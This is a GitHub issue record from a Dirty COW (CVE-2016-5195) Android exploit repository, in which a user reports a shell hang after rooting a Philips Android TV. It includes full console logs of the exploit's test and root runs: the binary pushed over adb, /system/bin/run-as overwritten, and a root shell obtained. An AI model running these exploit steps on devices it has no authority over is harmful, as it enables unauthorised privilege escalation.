{"action":"opened","issue":{"url":"https://api.github.com/repos/timwr/CVE-2016-5195/issues/43","repository_url":"https://api.github.com/repos/timwr/CVE-2016-5195","labels_url":"https://api.github.com/repos/timwr/CVE-2016-5195/issues/43/labels{/name}","comments_url":"https://api.github.com/repos/timwr/CVE-2016-5195/issues/43/comments","events_url":"https://api.github.com/repos/timwr/CVE-2016-5195/issues/43/events","html_url":"https://github.com/timwr/CVE-2016-5195/issues/43","id":198192345,"number":43,"title":"Android TV Shell Hang","user":{"login":"CoolApps45","id":6000071,"avatar_url":"https://avatars.githubusercontent.com/u/6000071?v=3","gravatar_id":"","url":"https://api.github.com/users/CoolApps45","html_url":"https://github.com/CoolApps45","followers_url":"https://api.github.com/users/CoolApps45/followers","following_url":"https://api.github.com/users/CoolApps45/following{/other_user}","gists_url":"https://api.github.com/users/CoolApps45/gists{/gist_id}","starred_url":"https://api.github.com/users/CoolApps45/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/CoolApps45/subscriptions","organizations_url":"https://api.github.com/users/CoolApps45/orgs","repos_url":"https://api.github.com/users/CoolApps45/repos","events_url":"https://api.github.com/users/CoolApps45/events{/privacy}","received_events_url":"https://api.github.com/users/CoolApps45/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2016-12-30T20:41:08Z","updated_at":"2016-12-30T20:41:08Z","closed_at":null,"body":"Issue:\r\nAfter successfully exploiting, I am taken to the shell but if I press enter (doesn't matter what the command is), it kind of hangs. You could press the enter key as much as you want and it would go to the next line each time but it looks (visually) as if it's still waiting for output infinitely with the blinking cursor. Using CTRL+C is one way of getting out of the entire thing. I had tested the `reboot` command but that did nothing whatsoever.\r\nThe actual unit was responsive the entire time. So nothing like kernel panics ended up happening (unlike half of the time with KingRoot).\r\n\r\nSystem information:\r\n```\r\nModel: 40PUT6400/12 - Philips - Developed by TP Vision\r\nProduct ID: QM152E\r\nSecurity Patch Date: 2016-07-01\r\nAndroid Version: 5.1.1 (22 SDK)\r\nCPU: Cortex-A17 (armeabi-v7a, 32 bit)\r\nKernel Version: 3.10.27 (build_ci@inblrlx047) (gcc version 4.8.2 20131014 (prerelease) (Linaro GCC 4.8-2013.10)) #1 SMP PREEMPT Fri Oct 7 11:45:11 IST 2016\r\n```\r\n\r\nMAKE TEST:\r\n```\r\nuser@hostname:~/Desktop/CVE-2016-5195-master$ make test\r\nndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16\r\nmake[1]: Entering directory '/home/user/Desktop/CVE-2016-5195-master'\r\n[arm64-v8a] Install        : dirtycow => libs/arm64-v8a/dirtycow\r\n[arm64-v8a] Install        : run-as => libs/arm64-v8a/run-as\r\n[x86_64] Install        : dirtycow => libs/x86_64/dirtycow\r\n[x86_64] Install        : run-as => libs/x86_64/run-as\r\n[mips64] Install        : dirtycow => libs/mips64/dirtycow\r\n[mips64] Install        : run-as => libs/mips64/run-as\r\n[armeabi-v7a] Install        : dirtycow => libs/armeabi-v7a/dirtycow\r\n[armeabi-v7a] Install        : run-as => libs/armeabi-v7a/run-as\r\n[armeabi] Install        : dirtycow => libs/armeabi/dirtycow\r\n[armeabi] Install        : run-as => libs/armeabi/run-as\r\n[x86] Install        : dirtycow => libs/x86/dirtycow\r\n[x86] Install        : run-as => libs/x86/run-as\r\n[mips] Install        : dirtycow => libs/mips/dirtycow\r\n[mips] Install        : run-as => libs/mips/run-as\r\nmake[1]: Leaving directory '/home/user/Desktop/CVE-2016-5195-master'\r\nadb push libs/armeabi-v7a/dirtycow /data/local/tmp/dcow\r\n100 KB/s (13784 bytes in 0.134s)\r\nadb push test.sh /data/local/tmp/test.sh\r\n11 KB/s (367 bytes in 0.031s)\r\nadb shell 'chmod 777 /data/local/tmp/dcow'\r\nadb shell 'chmod 777 /data/local/tmp/test.sh'\r\nadb shell '/data/local/tmp/test.sh'\r\n-rw-rw-rw- shell    shell          18 2016-12-30 19:22 test\r\n-rwxrwxrwx shell    shell         367 2016-12-19 14:06 test.sh\r\n-r--r--r-- shell    shell          18 2016-12-30 19:22 test2\r\nadb shell '/data/local/tmp/dcow /data/local/tmp/test /data/local/tmp/test2'\r\nWARNING: linker: /data/local/tmp/dcow: unused DT entry: type 0x6ffffffe arg 0x630\r\nWARNING: linker: /data/local/tmp/dcow: unused DT entry: type 0x6fffffff arg 0x1\r\ndcow /data/local/tmp/test /data/local/tmp/test2\r\n[*] size 18\r\n[*] mmap 0xb6eda000\r\n[*] currently 0xb6eda000=72756f79\r\n[*] madvise = 0xb6eda000 18\r\n[*] madvise = 0 59449\r\n[*] /proc/self/mem 93150 5175\r\n[*] exploited 0xb6eda000=6e6c7576\r\nadb shell 'cat /data/local/tmp/test2'\r\nvulnerable!!!!!!!\r\nadb shell 'cat /data/local/tmp/test2' | xxd\r\n00000000: 7675 6c6e 6572 6162 6c65 2121 2121 2121  vulnerable!!!!!!\r\n00000010: 210d 0a                                  !..\r\n```\r\n\r\nMAKE ROOT:\r\n```\r\nuser@hostname:~/Desktop/CVE-2016-5195-master$ make root\r\nndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16\r\nmake[1]: Entering directory '/home/user/Desktop/CVE-2016-5195-master'\r\n[arm64-v8a] Install        : dirtycow => libs/arm64-v8a/dirtycow\r\n[arm64-v8a] Install        : run-as => libs/arm64-v8a/run-as\r\n[x86_64] Install        : dirtycow => libs/x86_64/dirtycow\r\n[x86_64] Install        : run-as => libs/x86_64/run-as\r\n[mips64] Install        : dirtycow => libs/mips64/dirtycow\r\n[mips64] Install        : run-as => libs/mips64/run-as\r\n[armeabi-v7a] Install        : dirtycow => libs/armeabi-v7a/dirtycow\r\n[armeabi-v7a] Install        : run-as => libs/armeabi-v7a/run-as\r\n[armeabi] Install        : dirtycow => libs/armeabi/dirtycow\r\n[armeabi] Install        : run-as => libs/armeabi/run-as\r\n[x86] Install        : dirtycow => libs/x86/dirtycow\r\n[x86] Install        : run-as => libs/x86/run-as\r\n[mips] Install        : dirtycow => libs/mips/dirtycow\r\n[mips] Install        : run-as => libs/mips/run-as\r\nmake[1]: Leaving directory '/home/user/Desktop/CVE-2016-5195-master'\r\nadb push libs/armeabi-v7a/dirtycow /data/local/tmp/dcow\r\n111 KB/s (13784 bytes in 0.121s)\r\nadb push libs/armeabi-v7a/run-as /data/local/tmp/run-as\r\n54 KB/s (5544 bytes in 0.100s)\r\nadb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as'\r\nWARNING: linker: /data/local/tmp/dcow: unused DT entry: type 0x6ffffffe arg 0x630\r\nWARNING: linker: /data/local/tmp/dcow: unused DT entry: type 0x6fffffff arg 0x1\r\ndcow /data/local/tmp/run-as /system/bin/run-as\r\nwarning: new file size (5544) and destination file size (9444) differ\r\n\r\n[*] size 5544\r\n[*] mmap 0xb6e7d000\r\n[*] currently 0xb6e7d000=464c457f\r\n[*] madvise = 0xb6e7d000 5544\r\n[*] madvise = 0 460\r\n[*] /proc/self/mem 205128 37\r\n[*] exploited 0xb6e7d000=464c457f\r\nadb shell /system/bin/run-as\r\nWARNING: linker: /system/bin/run-as: unused DT entry: type 0x6ffffffe arg 0x63c\r\nWARNING: linker: /system/bin/run-as: unused DT entry: type 0x6fffffff arg 0x2\r\nuid /system/bin/run-as 2000\r\nuid 0\r\n0 u:r:runas:s0\r\ncontext 0 u:r:shell:s0\r\nroot@philips_MT5593FHT_EU:/ #\r\n```"}}
{"actor":{"display_login":"CoolApps45"}}